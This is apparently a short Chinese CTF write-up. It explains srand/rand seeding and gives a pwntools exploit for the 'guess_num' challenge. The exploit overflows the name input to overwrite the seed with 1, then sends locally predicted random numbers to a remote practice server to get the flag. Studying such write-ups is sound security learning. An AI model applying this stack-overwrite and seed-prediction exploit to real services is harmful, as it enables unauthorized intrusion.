srand设置产生一系列伪随机数发生器的起始点,要想把发生器重新初始化,可用1作seed值。任何共它的值都把发生器匿成一个随机的起始点。rand检索生成的伪随机数。在任何调用srand之前调用rand与以1作为seed调用srand产生相同的序列。
此函数可以设定rand函数所用的随机数产生演算法的种子值。任何大于一的种子值都会将rand随机数所产生的虚拟随机数序列重新设定一个起始点
---取自百度百科srand()
以上的可以理解为当seed值确定时,调用rand函数产生的序列是不变的。
python里面调用srand函数和rand函数时,可以引入C++库,可以通过ldd来查看可执行程序的依赖库文件
然后在python里面引用:
#-*- coding:utf-8 -*-
from pwn import *
from ctypes import *
libc=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(1)
p = remote('220.249.52.133',54442)
p.sendlineafter('choice:','a'*0x20+ p64(1))
for i in range(0,10):
p.sendlineafter('number:',str(libc.rand()%6+1))
p.interactive()
此处为guess_num的exp,输入name时栈覆盖seed的值,然后发送本地产生的序列,得到flag